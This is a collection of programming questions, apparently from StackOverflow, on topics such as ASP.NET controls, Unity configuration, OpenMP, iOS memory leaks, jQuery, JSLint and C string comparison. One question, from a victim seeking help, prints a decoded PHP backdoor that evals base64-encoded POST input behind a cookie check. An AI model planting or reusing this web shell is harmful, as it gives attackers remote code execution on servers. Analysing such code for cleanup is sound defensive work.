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  • How to use the FindControl function to find a dynamically generated control?

    - by Abe Miessler
    I have a PlaceHolder control inside of a ListView that I am using to render controls from my code behind. The code below adds the controls: TextBox tb = new TextBox(); tb.Text = quest.Value; tb.ID = quest.ShortName.Replace(" ", ""); ((PlaceHolder)e.Item.FindControl("ph_QuestionInput")).Controls.Add(tb); I am using the following code to retrieve the values that have been entered into the TextBox: foreach (ListViewDataItem di in lv_Questions.Items) { int QuestionId = Convert.ToInt32(((HiddenField)di.FindControl("hf_QuestionId")).Value); Question quest = dc.Questions.Single(q => q.QuestionId == QuestionId); TextBox tb = ((TextBox)di.FindControl(quest.ShortName.Replace(" ",""))); //tb is always null! } But it never finds the control. I've looked at the source code for the page and the control i want has the id: ctl00_cphContentMiddle_lv_Questions_ctrl0_Numberofacres For some reason when I look at the controls in the ListViewDataItem it has the ClientID: ctl00_cphContentMiddle_lv_Questions_ctrl0_ctl00 Why would it be changing Numberofacres to ctl00? Is there any way to work around this? UPDATE: Just to clarify, I am databinding my ListView in the Page_Init event. I then create the controls in the ItemBound event for my ListView. But based on what @Womp and MSDN are saying the controls won't actually be created until after the Load event (which is after the Page_Init event) and therefore are not in ViewState? Does this sound correct? If so am I just SOL when it comes to retrieving the values in my dynamic controls from my OnClick event?

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  • What corresponds to the Unity 'registration name' in the unity configuration section?

    - by unanswered
    When registering and resolving types in a Unity Container using code you can use 'Registration Names' to disambiguate your references that derive from an interface or base class hierarchy. The 'registration name' text would be provided as a parameter to the register and resolve methods: myContainer.RegisterType<IMyService, CustomerService>("Customers"); and MyServiceBase result = myContainer.Resolve<MyServiceBase>("Customers"); However when I register types in the configuration files I do not see where the 'registration name' can be assigned I register an Interface: <typeAlias alias="IEnlistmentNotification" type="System.Transactions.IEnlistmentNotification, System.Transactions, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" /> Then two types that I happen to know implement that interface: <typeAlias alias="PlaylistManager" type="Sample.Dailies.Grid.Workers.PlaylistManager, Sample.Dailies.Grid.Workers, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null" /> <typeAlias alias="FlexAleManager" type="Sample.Dailies.Grid.Workers.FlexAleManager, Sample.Dailies.Grid.Workers, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null" /> Then I provide mappings between the interface and the two types: <type type="IEnlistmentNotification" mapTo="FlexAleManager"><lifetime type="singleton"/></type> <type type="IEnlistmentNotification" mapTo="PlaylistManager"><lifetime type="singleton"/></type> That seems to correspond to this code: myContainer.RegisterType<IEnlistmentNotification, FlexAleManager>(); myContainer.RegisterType<IEnlistmentNotification, PlaylistManager>(); but clearly what I need is a disambiguating config entry that corresponds to this code: myContainer.RegisterType<IEnlistmentNotification, FlexAleManager>("Flex"); myContainer.RegisterType<IEnlistmentNotification, PlaylistManager>("Play"); Then when I get into my code I could do this: IEnlistmentNotification flex = myContainer.Resolve<IEnlistmentNotification>("Flex"); IEnlistmentNotification play = myContainer.Resolve<IEnlistmentNotification>("Play"); See what I mean? Thanks, Kimball

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  • Resources and techniques/methods for SCJP preparation ?

    - by BenoitParis
    I am passing the SCJP 6 exam in a month. I have the "SCJP Sun Certified Programmer for Java 6 Exam 310-065" book. It seems great for the exam. But I want your advice on this. Getting the closest possible to 100% would be great. I have found a site that answered some of the questions you ask yourself when you go trough the book. Here is it : http://www.janeg.ca/java2.html As you can see it was written for Java 2 :/ I have written another specific question here on StackOverflow about the usefulness of JVM specification and Java compiler code for the SCJP. Will Update the results here. Here it is. Please share the resources you used in preparing the exam. Please also specify any resources that you think might help. Any type of resource is welcome: books, code, specs, sites, wikies, papers, online tests, grandmas... Please also share on any method/technique that helped you prepare the exam. Please also comment on the return you got from the resource and the method (for the learning process and for points in the exam) I'll begin: Book : "SCJP Sun Certified Programmer for Java 6 Exam 310-065". Seems like the official book for the preparation. Technique : Writing code in a text editor and compiling it with javac to test a question. NO IDEs! It helps you get a a straight answer to a question you have. It helps you pay attention to every word in the code (and this is very important in the SCJP) EDIT: Added dimension: Are there good, up-to-date online tests?

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  • Multi-Part HTTP Request through xcode

    - by devsri
    Hello Everyone, i want to upload image,video and audio files to a server. I have read this thread on the similar topic but wasn't able to understand completely the flow of the code. It would be great if you can suggest me some sample code or tutorial to start with. I am using the following code to connect without any media to the server [UIApplication sharedApplication].networkActivityIndicatorVisible = YES; NSString *url =[[NSString alloc]initWithFormat:@"%@",[NetworkConstants getURL]]; NSURL *theURL =[NSURL URLWithString:url]; [url release]; NSMutableURLRequest *theRequest =[NSMutableURLRequest requestWithURL:theURL cachePolicy:NSURLRequestReloadIgnoringCacheData timeoutInterval:0.0f]; [theRequest setHTTPMethod:@"POST"]; NSString *theBodyString = [NSString stringWithFormat:@"json1=%@&userID=%@",jsonObject,[GlobalConstants getUID]]; NSData *theBodyData = [theBodyString dataUsingEncoding:NSUTF8StringEncoding]; [theRequest setHTTPBody:theBodyData]; NSURLConnection *conn = [[NSURLConnection alloc] initWithRequest:theRequest delegate:self]; if (conn) { NSLog(@"Successful in sending sync"); } else { NSLog(@"Failed Connection in sending sync"); } [conn release]; It would be really convenient for me if anything could be done editing this part of code. Any form of help would be highly appreciated. Thanks in advance!!

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  • OpenMP: Get total number of running threads

    - by Konrad Rudolph
    I need to know the total number of threads that my application has spawned via OpenMP. Unfortunately, the omp_get_num_threads() function does not work here since it only yields the number of threads in the current team. However, my code runs recursively (divide and conquer, basically) and I want to spawn new threads as long as there are still idle processors, but no more. Is there a way to get around the limitations of omp_get_num_threads and get the total number of running threads? If more detail is required, consider the following pseudo-code that models my workflow quite closely: function divide_and_conquer(Job job, int total_num_threads): if job.is_leaf(): # Recurrence base case. job.process() return left, right = job.divide() current_num_threads = omp_get_num_threads() if current_num_threads < total_num_threads: # (1) #pragma omp parallel num_threads(2) #pragma omp section divide_and_conquer(left, total_num_threads) #pragma omp section divide_and_conquer(right, total_num_threads) else: divide_and_conquer(left, total_num_threads) divide_and_conquer(right, total_num_threads) job = merge(left, right) If I call this code with a total_num_threads value of 4, the conditional annotated with (1) will always evaluate to true (because each thread team will contain at most two threads) and thus the code will always spawn two new threads, no matter how many threads are already running at a higher level. I am searching for a platform-independent way of determining the total number of threads that are currently running in my application.

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  • Regarding the ViewModel

    - by mizipzor
    Im struggling to understand the ViewModel part of the MVVM pattern. My current approach is to have a class, with no logic whatsoever (important), except that it implements INotifyPropertyChanged. The class is just a collection of properties, a struct if you like, describing an as small part of the data as possible. I consider this my Model. Most of the WPF code I write are settings dialogs that configure said Model. The code-behind of the dialog exposes a property which returns an instance of the Model. In the XAML code I bind to subproperties of that property, thereby binding directly to the Model's properties. Which works quite well since it implements the INotifyPropertyChanged. I consider this settings dialog the View. However, I havent really been able to figure out what in all this is the ViewModel. The articles Ive read suggests that the ViewModel should tie the View and the Model together, providing the logic the Model lacks but is still to complex to go directly into the View. Is this correct? Would, in my example, the code-behind of the settings dialog be considered the ViewModel? I just feel a bit lost and would like my peers to debunk some of my assumptions. Am I completely off track here?

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  • Good Replacement for User Control?

    - by David Lively
    I found user controls to be incredibly useful when working with ASP.NET webforms. By encapsulating the code required for displaying a control with the markup, creation of reusable components was very straightforward and very, very useful. While MVC provides convenient separation of concerns, this seems to break encapsulation (ie, you can add a control without adding or using its supporting code, leading to runtime errors). Having to modify a controller every time I add a control to a view seems to me to integrate concerns, not separate them. I'd rather break the purist MVC ideology than give up the benefits of reusable, packaged controls. I need to be able to include components similar to webforms user controls throughout a site, but not for the entire site, and not at a level that belongs in a master page. These components should have their own code not just markup (to interact with the business layer), and it would be great if the page controller didn't need to know about the control. Since MVC user controls don't have codebehind, I can't see a good way to do this. I've searched previous SO questions, and have yet to find a good answer. Options so far In an attempt to avoid turning the comments section into a discussion... RenderAction This allows the view to call another controller, which will be responsible for interacting with the BLL and whatever data is necessary to its corresponding view. The calling view needs to be aware of the sub controller. This seems to provide a nice way to encapsulate partial views and controls, without having to modify the calling controller. RenderPartial The calling controller is still responsible for executing whatever code is associated with the partial view, and making sure that the model passed to the partial view contains the data it expects. Effectively, modifying the partial view potentially means modifying the calling controller. Annoying especially if this is used in multiple places. Portable Areas Place each control in its own project/area?

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  • Tomcat does not pick up the class file - the JSP file is not displayed

    - by blueSky
    I have a Java code which is a controller for a jsp page, called: HomeController.java. Code is as follows: @Controller public class HomeController { protected final transient Log log = LogFactory.getLog(getClass()); @RequestMapping(value = "/mypage") public String home() { System.out.println("HomeController: Passing through..."); return "home"; } } There is nothing especial in the jsp page: home.jsp. If I go to this url: http://localhost:8080/adcopyqueue/mypage I can view mypage and everything works fine. Also in the tomcat Dos page I can see the comment: HomeController: Passing through... As expected. Now under the same directory that I have HomeController.java, I've created another file called: LoginController.java. Following is the code: @Controller public class LoginController { protected final transient Log log = LogFactory.getLog(getClass()); @RequestMapping(value = "/loginpage") public String login() { System.out.println("LoginController: Passing through..."); return "login"; } } And under the same place which I have home.jsp, I've created login.jsp. Also under tomcat folders, LoginController.class exists under the same folder that HomeController.class exists and login.jsp exists under the same folder which home.jsp exists. But when I go to this url: http://localhost:8080/adcopyqueue/loginpage Nothing is displayed! I think tomcat does not pick up LoginController.class b/c on the tomcat Dos window, I do NOT see this comment: LoginController: Passing through... Instead I see following which I do not know what do they mean? [ INFO] [http-8080-1 01:43:45] (AppInfo.java:populateAppInfo:34) got manifest [ INFO] [http-8080-1 01:43:45] (AppInfo.java:populateAppInfo:36) manifest entrie s 8 The structure and the code for HomeController.java and LoginController.java plus the jsp files match. I have no idea why tomcat sees one of the files and not the other? Clean build did not help. Does anybody have any idea? Any help is greatly appraciated.

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  • error while updating a database in ASP.NET

    - by Viredae
    I am having trouble updating an SQL database, the problem is not that it doesn't update at all, but that particular parameters are being updated while the others are not. here is the code for updating the parameters: string EditRequest = "UPDATE Requests SET Description = @Desc, BJustif = @Justif, Priority = @Priority, Requested_System = @Requested, Request_Status = @Stat WHERE"; EditRequest += " Req_ID=@ID"; SqlConnection Submit_conn = new SqlConnection(WebConfigurationManager.ConnectionStrings["DBConn"].ConnectionString); SqlCommand Submit_comm = new SqlCommand(EditRequest, Submit_conn); Submit_comm.Parameters.AddWithValue("@ID", Request.QueryString["reqid"]); Submit_comm.Parameters.AddWithValue("@Desc", DescBox.Text); Submit_comm.Parameters.AddWithValue("@Justif", JustifBox.Text); Submit_comm.Parameters.AddWithValue("@Priority", PriorityList.SelectedValue); Submit_comm.Parameters.AddWithValue("@Requested", RelatedBox.Text); Submit_comm.Parameters.AddWithValue("@Stat", 1); Submit_conn.Open(); Submit_comm.ExecuteNonQuery(); Submit_comm.Dispose(); Submit_comm = null; Submit_conn.Close(); get_Description(); Page.ClientScript.RegisterStartupScript(this.GetType(), "Refresh", "ReloadPage();", true); this function is called by a button on a pop-up form which shows the parameters content that is being changed in a text box which is also used to submit the changes back to the database, but when I press submit, the parameters which are displayed on the form don't change, I can't find any problem wit the code, even though I've compared it to similar code which is working fine. In case you need to, here is one of the text boxes I'm using to display and edit the content: <asp:TextBox ID="JustifBox" TextMode="MultiLine" runat="server" Width="250" Height="50"></asp:TextBox> What exactly is wrong with the code?

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  • Setting synthesized arrays causing memory leaks using nested arrays

    - by webtoad
    Hello: Why is the following code causing a memory leak in an iPhone App? All of the initted objects below leak, including the arrays, the strings and the numbers. So, I'm thinking it has something to do with the the synthesized array property not releasing the object when I set the property again on the second and subsequent time this piece of code is called. Here is the code: "controller" (below) is my custom view controller class, which I have a reference to, and I am setting with this code snippet: sqlite3_stmt *statement; NSMutableArray *foo_IDs = [[NSMutableArray alloc] init]; NSMutableArray *foo_Names = [[NSMutableArray alloc] init]; NSMutableArray *foo_IDsBySection = [[NSMutableArray alloc] init]; NSMutableArray *foo_NamesBySection = [[NSMutableArray alloc] init]; // Get data: NSString *sql = @"select distinct p.foo_ID, p.foo_Name from foo as p "; if (sqlite3_prepare_v2(...) == SQLITE_OK) { while (sqlite3_step(statement) == SQLITE_ROW) { int p_id; NSString *foo_Name; p_id = sqlite3_column_int(statement, 0); char *str2 = (char *)sqlite3_column_text(statement, 1); foo_Name = [NSString stringWithCString:str2]; [foo_IDs addObject:[NSNumber numberWithInt:p_id]]; [foo_Names addObject:foo_Name]; } sqlite3_finalize(statement); } // Pass the array itself into another array: // (normally there is more than one array in each array) [foo_IDsBySection addObject: foo_IDs]; [foo_NamesBySection addObject: foo_Names]; [foo_IDs release]; [foo_Names release]; // Set some synthesized properties (of type NSArray, nonatomic, // retain) in controller: controller.foo_IDsBySection = foo_IDsBySection; controller.foo_NamesBySection = foo_NamesBySection; [foo_IDsBySection release]; [foo_NamesBySection release]; Thanks for any help!

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  • How to find out where a thread lock happend?

    - by SchlaWiener
    One of our company's Windows Forms application had a strange problem for several month. The app worked very reliable for most of our customers but on some PC's (mostly with a wireless lan connection) the app sometimes just didn't respond anymore. (You click on the UI and windows ask you to wait or kill the app). I wasn't able to track down the problem for a long time but now I figured out what happend. The app had this line of code // don't blame me for this. Wasn't my code :D Control.CheckForIllegalCrossThreadCalls = false and used some background threads to modify the controls. No I found a way to reproduce the application stopping responding bug on my dev machine and tracked it down to a line where I actually used Invoke() to run a task in the main thread. Me.Invoke(MyDelegate, arg1, arg2) Obviously there was a thread lock somewhere. After removing the Control.CheckForIllegalCrossThreadCalls = false statement and refactoring the whole programm to use Invoke() if modifying a control from a background thread, the problem is (hopefully) gone. However, I am wondering if there is a way to find such bugs without debugging every line of code (Even if I break into debugger after the app stops responding I can't tell what happend last, because the IDE didn't jump to the Invoke() statement) In other words: If my apps hangs how can I figure out which line of code has been executed last? Maybe even on the customers PC. I know VS2010 offers some backwards debugging feature, maybe that would be a solution, but currently I am using VS2008.

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  • posting a variable with jquery and receiving it on other page

    - by Billa
    I want to post a varible "id" to a page. I'm trying following code, but I cant get the id value, it says "undefined". function box(){ var id=$(this).attr("id"); $("#votebox").slideDown("slow"); $("#flash").fadeIn("slow"); $.ajax({ type: "POST", //I want to post the "id" to the rating page. data: "id="+$(this).attr("id"), url: "rating.php", success: function(html){ $("#flash").fadeOut("slow"); $("#content").html(html); } }); } This function is called in following code. In the following code too, the id is posted to the page "votes.php", and it works fine, but in the above code when I'm trying to post the id to the rating.php page, it does not send. $(function(){ $("a.vote_up").click(function(){ the_id = $(this).attr('id'); $("span#votes_count"+the_id).fadeOut("fast"); $.ajax({ type: "POST", data: "action=vote_up&id="+$(this).attr("id"), url: "votes.php", success: function(msg) { $("span#votes_up"+the_id).fadeOut(); $("span#votes_up"+the_id).html(msg); $("span#votes_up"+the_id).fadeIn(); var that = this; box.call(that); } }); }); }); rating.php <? $id = $_POST['id']; echo $id; ?> The html part is: <a href='javascript:;' class='vote_up' id='<?php echo $row['id']; ?>'>Vote Up!</a> I'll appriciate any help.

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  • WHY JSLint complains: "someFunction() was used before it was defined"?

    - by 7hi4g0
    Searching for the JSLint error "was used before it was defined" i've found these: JSLint: Using a function before it's defined error Function was used before it was defined - JSLint JSLint: was used before it was defined jsLint error: “somefunction() was used before it was defined” jslint - Should we tolerate misordered definitions? Problem None of those answers WHY the error is shown. Elaboration According to the ECMA-262 Specification functions are evaluated before execution starts, hence all functions declared using the function keyword are available to all the code idenpendent of the place they were declared (assuming they are acessible on that scope). This is otherwise known as hoisting. Douglas Crockford seems to think it is better to declare every function before the code that uses it regardless of the hoisting effect. According to StackOverflowNewbie in his question, this raises some code organization problems. Not to mention some people, like me, prefer to declare their functions underneath the main/init code. On those questions there are some ways to avoid or fix the error, such as using function expressions vs function declarations. But none of them showed me the reason of the error. Not even Crockford's site. Question(s) Why is it an error to call a function before the declaration, even if it was declared using the function keyword? Is it better to use function expressions instead of function declaration in the JSLint context? If one is preferred, why? Note Not looking for answers like: Crockford is a tyrant Is just Crockford's opinion Thank you :*

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  • Why is this Javascript that writes out a Google Ad not displaying properly on the iPhone?

    - by Dave M G
    I have this Javacsript code that checks to see if there is a DIV named "google-ad", and if there is, it writes in a the necessary code to display the Google Ad. This works great in browsers like Firefox, Chrome, Safari on Mac, and Android. However, when I bundle this code with Adobe's Phonegap Build, and deploy it to iPhones, it behaves strangely. It launches a browser window displaying just the Google Ad alone. In order to keep using my app, every time I change a page and a new Google Ad is loaded, I have to close the browser window to get back to the app. Why is this code launching browser windows outside of my Phonegap app on iPhone? if(document.getElementById("google-ad") && document.getElementById("google-ad") !== null && document.getElementById("google-ad") !== "undefined") { if(userStatus.status == 0) { document.getElementById("centre").style.padding = "137px 0 12px 0"; document.getElementById("header-container").style.margin = "-138px 0 0 0"; document.getElementById("header-container").style.height = "132px"; document.getElementById("header-username").style.top = "52px"; document.getElementById("google-ad").style.height = "50px"; document.getElementById("google-ad").style.width = "320px"; document.getElementById("google-ad").style.backgroundColor = "#f0ebff"; document.getElementById("google-ad").style.display = "block"; window["google_ad_client"] = 'ca-pub-0000000000000000'; window["google_ad_slot"] = "00000000"; window["google_ad_width"] = 320; window["google_ad_height"] = 50; window.adcontainer = document.getElementById('google-ad'); window.adhtml = ''; function mywrite(html) { adhtml += html; adcontainer.innerHTML = adhtml; }; document.write_ = document.write; document.write = mywrite; script = document.createElement('script'); script.src='http://pagead2.googlesyndication.com/pagead/show_ads.js'; script.type='text/javascript'; document.body.appendChild(script); }

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  • Partial class or "chained inheritance"

    - by Charlie boy
    Hi From my understanding partial classes are a bit frowned upon by professional developers, but I've come over a bit of an issue; I have made an implementation of the RichTextBox control that uses user32.dll calls for faster editing of large texts. That results in quite a bit of code. Then I added spellchecking capabilities to the control, this was made in another class inheriting RichTextBox control as well. That also makes up a bit of code. These two functionalities are quite separate but I would like them to be merged so that I can drop one control on my form that has both fast editing capabilities and spellchecking built in. I feel that simply adding the code form one class to the other would result in a too large code file, especially since there are two very distinct areas of functionality, so I seem to need another approach. Now to my question; To merge these two classes should I make the spellchecking RichTextBox inherit from the fast edit one, that in turn inherits RichTextBox? Or should I make the two classes partials of a single class and thus making them more “equal” so to speak? This is more of a question of OO principles and exercise on my part than me trying to reinvent the wheel, I know there are plenty of good text editing controls out there. But this is just a hobby for me and I just want to know how this kind of solution would be managed by a professional. Thanks!

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  • Why Response.Write behavior varies in the given scenario?

    - by Sri Kumar
    Hello All, When i POST the page using the following code, the Response.write("Hey") doesn't write the content ("Hello") to the parent page <form method="post" name="upload" enctype="multipart/form-data" action="http://localhost:2518/Web/CrossPage.aspx?cmd=getvalue" > <input type="file" name="filename" /> <input type="submit" value="Upload Data File" name="cmdSubmit" /> </form> But When i use following code , and POST the data, the Response.write("Hey") can be obtained in the parent page HttpWebRequest requestToSender = (HttpWebRequest)WebRequest.Create("http://localhost:2518/Web/CrossPage.aspx?cmd=getvalue"); requestToSender.Method = "POST"; requestToSender.ContentType = "multipart/form-data"; HttpWebResponse responseFromSender = (HttpWebResponse)requestToSender.GetResponse(); string fromSender = string.Empty; using (StreamReader responseReader = new StreamReader(responseFromSender.GetResponseStream())) { fromSender = responseReader.ReadToEnd(); } In the CrossPage.aspx i have the following code if (!Page.IsPostBack) { NameValueCollection postPageCollection = Request.Form; foreach (string name in postPageCollection.AllKeys) { Response.Write(name + " " + postPageCollection[name]); } HttpFileCollection postCollection = Request.Files; foreach (string name in postCollection.AllKeys) { HttpPostedFile aFile = postCollection[name]; aFile.SaveAs(Server.MapPath(".") + "/" + Path.GetFileName(aFile.FileName)); } Response.Write("Hey"); } I don't have any code in the Page_Load event of parent page.? What could be the cause? I need to write the "hey" to the Parent page using the first scenario. Both the application are of different domain. Edit: "Hey" would be from the CrossPage.aspx. I need to write this back to the Parent Page

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  • How do you tell that your unit tests are correct?

    - by Jacob Adams
    I've only done minor unit testing at various points in my career. Whenever I start diving into it again, it always troubles me how to prove that my tests are correct. How can I tell that there isn't a bug in my unit test? Usually I end up running the app, proving it works, then using the unit test as a sort of regression test. What is the recommended approach and/or what is the approach you take to this problem? Edit: I also realize that you could write small, granular unit tests that would be easy to understand. However, if you assume that small, granular code is flawless and bulletproof, you could just write small, granular programs and not need unit testing. Edit2: For the arguments "unit testing is for making sure your changes don't break anything" and "this will only happen if the test has the exact same flaw as the code", what if the test overfits? It's possible to pass both good and bad code with a bad test. My main question is what good is unit testing since if your tests can be flawed you can't really improve your confidence in your code, can't really prove your refactoring worked, and can't really prove that you met the specification?

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  • PHP hack files found - help decoding and identifying

    - by akc
    I found a handful of hack files on our web server. I managed to de-obfuscate them a bit -- they all seem to have a part that decodes into a chunk that looks like: if (!empty($_COOKIE['v']) and $_COOKIE['v']=='d'){if (!empty($_POST['c'])) {echo '<textarea rows=28 cols=80>'; $d=base64_decode(str_replace(' ','+',$_POST['c']));if($d) @eval($d); echo '</textarea>';}echo '<form action="" method=post><textarea cols=80 rows=28 name=c></textarea><br><input type=submit></form>';exit;} But this chunk (decoded above) is usually embedded into a larger code snippet. I've shared the code of one of the files in its entirety here: http://pastie.org/3753704 I can sort of see where this code is going, but definitely not an expert at PHP and could use some help figuring out more specifically what it's doing or enabling. Also, if anyone happens to be familiar with this hack, any information on how it works, and where the backdoor and other components of the hack may be hidden would be super helpful and greatly appreciated. I tried to Google parts of the code, to see if others have reported it, but only came up with this link: http://www.daniweb.com/web-development/php/threads/365059/hacked-joomla Thanks!

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  • starting rails in test environment

    - by Brian D.
    I'm trying to load up rails in the test environment using a ruby script. I've tried googling a bit and found this recommendation: require "../../config/environment" ENV['RAILS_ENV'] = ARGV.first || ENV['RAILS_ENV'] || 'test' This seems to load up my environment alright, but my development database is still being used. Am I doing something wrong? Here is my database.yml file... however I don't think it is the issue development: adapter: mysql encoding: utf8 reconnect: false database: BrianSite_development pool: 5 username: root password: dev host: localhost # Warning: The database defined as "test" will be erased and # re-generated from your development database when you run "rake". # Do not set this db to the same as development or production. test: adapter: mysql encoding: utf8 reconnect: false database: BrianSite_test pool: 5 username: root password: dev host: localhost production: adapter: mysql encoding: utf8 reconnect: false database: BrianSite_production pool: 5 username: root password: dev host: localhost I can't use ruby script/server -e test because I'm trying to run ruby code after I load rails. More specifically what I'm trying to do is: run a .sql database script, load up rails and then run automated tests. Everything seems to be working fine, but for whatever reason rails seems to be loading in the development environment instead of the test environment. Here is a shortened version of the code I am trying to run: system "execute mysql script here" require "../../config/environment" ENV['RAILS_ENV'] = ARGV.first || ENV['RAILS_ENV'] || 'test' describe Blog do it "should be initialized successfully" do blog = Blog.new end end I don't need to start a server, I just need to load my rails code base (models, controllers, etc..) so I can run tests against my code. Thanks for any help.

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  • Spring Security ACL: NotFoundException from JDBCMutableAclService.createAcl

    - by user340202
    Hello, I've been working on this task for too long to abandon the idea of using Spring Security to achieve it, but I wish that the community will provide with some support that will help reduce the regret that I have for choosing Spring Security. Enough ranting and now let's get to the point. I'm trying to create an ACL by using JDBCMutableAclService.createAcl as follows: [code] public void addPermission(IWFArtifact securedObject, Sid recipient, Permission permission, Class clazz) { ObjectIdentity oid = new ObjectIdentityImpl(clazz.getCanonicalName(), securedObject.getId()); this.addPermission(oid, recipient, permission); } @Override @Transactional(propagation = Propagation.REQUIRED, isolation = Isolation.READ_UNCOMMITTED, readOnly = false) public void addPermission(ObjectIdentity oid, Sid recipient, Permission permission) { SpringSecurityUtils.assureThreadLocalAuthSet(); MutableAcl acl; try { acl = this.mutableAclService.createAcl(oid); } catch (AlreadyExistsException e) { acl = (MutableAcl) this.mutableAclService.readAclById(oid); } // try { // acl = (MutableAcl) this.mutableAclService.readAclById(oid); // } catch (NotFoundException nfe) { // acl = this.mutableAclService.createAcl(oid); // } acl.insertAce(acl.getEntries().length, permission, recipient, true); this.mutableAclService.updateAcl(acl); } [/code] The call throws a NotFoundException from the line: [code] // Retrieve the ACL via superclass (ensures cache registration, proper retrieval etc) Acl acl = readAclById(objectIdentity); [/code] I believe this is caused by something related to Transactional, and that's why I have tested with many TransactionDefinition attributes. I have also doubted the annotation and tried with declarative transaction definition, but still with no luck. One important point is that I have used the statement used to insert the oid in the database earlier in the method directly on the database and it worked, and also threw a unique constraint exception at me when it tried to insert it in the method. I'm using Spring Security 2.0.8 and IceFaces 1.8 (which doesn't support spring 3.0 but definetely supprorts 2.0.x, specially when I keep caling SpringSecurityUtils.assureThreadLocalAuthSet()). My AppServer is Tomcat 6.0, and my DB Server is MySQL 6.0 I wish to get back a reply soon because I need to get this task off my way

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  • Problems with variadic function

    - by morpheous
    I have the following function from some legacy code that I am maintaining. long getMaxStart(long start, long count, const myStruct *s1, ...) { long i1, maxstart; myStruct *s2; va_list marker; maxstart = start; /*BUGFIX: 003 */ /*(va_start(marker, count);*/ va_start(marker, s1); for (i1 = 1; i1 <= count; i1++) { s2 = va_arg(marker, myStruct *); /* <- s2 is assigned null here */ maxstart = MAX(maxstart, s2->firstvalid); /* <- SEGV here */ } va_end(marker); return (maxstart); } When the function is called with only one myStruct argument, it causes a SEGV. The code compiled and run without crashing on Windows XP when I compiled it using VS2005. I have now moved the code to Ubuntu Karmic and I am having problems with the stricter compiler on Linux. Is anyone able to spot what is causing the parameter not to be read correctly in the var_arg() statement? I am compiling using gcc version 4.4.1 Edit The statement that causes the SEGV is this one: start = getMaxStart(start, 1, ms1); The variables 'start' and 'ms1' have valid values when the code execution first reaches this line.

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  • Can't touch UITextField on UIScrollView

    - by Chris B
    Hey guys, I know this has been talked about a lot. I think I've gone thru every question on this site, and still have not been able to get this working. I'm new to developing but I have a good sense of what's going on with all of my code. I definitely don't have a lot of experience though, this is my first iPhone app. I'm making a data entry field that is comprised of multiple UITextFields within a UIScrollView. I'll avoid explaining the other details for now, as it seems its a very basic problem. Without a scrollview, the textfields work perfectly. I can touch the textfield and the keyboard or picker view show up appropriately. When I add the textfields to a scrollview, the scrollview works, but then the text fields don't receive my touches. Here's the key: When 'User Interaction' is ENABLED, the scrollview works but the textfield touches are NOT registered. When 'User Interaction' is DISABLED, the scrollview doesn't work, but the textfield touches ARE registered and the keyboard/picker pops up. From the other posts I have seen people creating subclasses and overriding the touches in a separate implementation. I've seen people using custom content views (subviews?), I've seen some solutions that are now obsolete since the APIs have changed in newer versions of the SDK, and I am just completely stuck. I will leave out my code for now, because maybe there is a solution that someone has without requiring my code. If someone needs to see my code, I will put it up. My app is being written in the 3.1.3 SDK. If anyone has ANY information that could help, it would be so greatly appreciated.

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  • Limit CPU usage of a process

    - by jb
    I have a service running which periodically checks a folder for a file and then processes it. (Reads it, extracts the data, stores it in sql) So I ran it on a test box and it took a little longer thaan expected. The file had 1.6 million rows, and it was still running after 6 hours (then I went home). The problem is the box it is running on is now absolutely crippled - remote desktop was timing out so I cant even get on it to stop the process, or attach a debugger to see how far through etc. It's solidly using 90%+ CPU, and all other running services or apps are suffering. The code is (from memory, may not compile): List<ItemDTO> items = new List<ItemDTO>(); using (StreamReader sr = fileInfo.OpenText()) { while (!sr.EndOfFile) { string line = sr.ReadLine() try { string s = line.Substring(0,8); double y = Double.Parse(line.Substring(8,7)); //If the item isnt already in the collection, add it. if (items.Find(delegate(ItemDTO i) { return (i.Item == s); }) == null) items.Add(new ItemDTO(s,y)); } catch { /*Crash*/ } } return items; } - So I am working on improving the code (any tips appreciated). But it still could be a slow affair, which is fine, I've no problems with it taking a long time as long as its not killing my server. So what I want from you fine people is: 1) Is my code hideously un-optimized? 2) Can I limit the amount of CPU my code block may use? Cheers all

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  • How do you work on Strategic Development initiatives when Tactical work takes priority?

    - by Shaun F
    My day-to-day job consists of maintaining large volume websites and this has given me exposure to developing better methods to develop and maintain the code. This has also given me a large body of knowledge in the code base in terms of troubleshooting that is beneficial to the company. I'm also the maintainer of an IDE plug in I created to help navigate and generate code that is used. Operationally though, my job is to handle any client requests that come in of that are emergencies and make any enhancements and additions to the code base required. This work, along with the daily managing and feeding of the the project managers will take up my entire day. How does one manage the time between the tactical day job and the strategic initiatives? How does one get and ask for recognition for taking strategic initiatives? Is the 8-9 hour day just not going to cut it? Is there even a job out there for programmers to develop strategic initiatives and solutions for a company? I want to also point out that this isn't a problem with the company at all. I think this is more of a personal-improvement decision. Nobody will say no to the improvements at all. I believe in making the things happen but I don't think I'm going to get time from the company to do it...

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  • memcmp,strcmp,strncmp in C

    - by el10780
    I wrote this small piece of code in C to test memcmp() strncmp() strcmp() functions in C. Here is the code that I wrote: #include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char** argv) { char *word1="apple",*word2="atoms"; if (strncmp(word1,word2,5)==0) printf("strncmp result.\n"); if (memcmp(word1,word2,5)==0) printf("memcmp result.\n"); if (strcmp(word1,word2)==0) printf("strcmp result.\n"); } Can somebody explain me the differences because I am confused with these three functions?My main problem is that I have a file in which I tokenize its line of it,the problem is that when I tokenize the word "atoms" in the file I have to stop the process of tokenizing.I first tried strcmp() but unfortunately when it reached to the point where the word "atoms" were placed in the file it didn't stop and it continued,but when I used either the memcmp() or the strncmp() it stopped and I was happy.But then I thought,what if there will be a case in which there is one string in which the first 5 letters are a,t,o,m,s and these are being followed by other letters.Unfortunately,my thoughts were right as I tested it using the above code by initializing word1 to "atomsaaaaa" and word2 to atoms and memcmp() and strncmp() in the if statements returned 0.On the other hand strcmp() it didn't.It seems that I must use strcmp(). I have done google searches but I got more confused as I have seen sites and other forums to define these three differently.If it is possible for someone to give me correct explanations/definitions so I can use them correctly in my source code,I would be really grateful.

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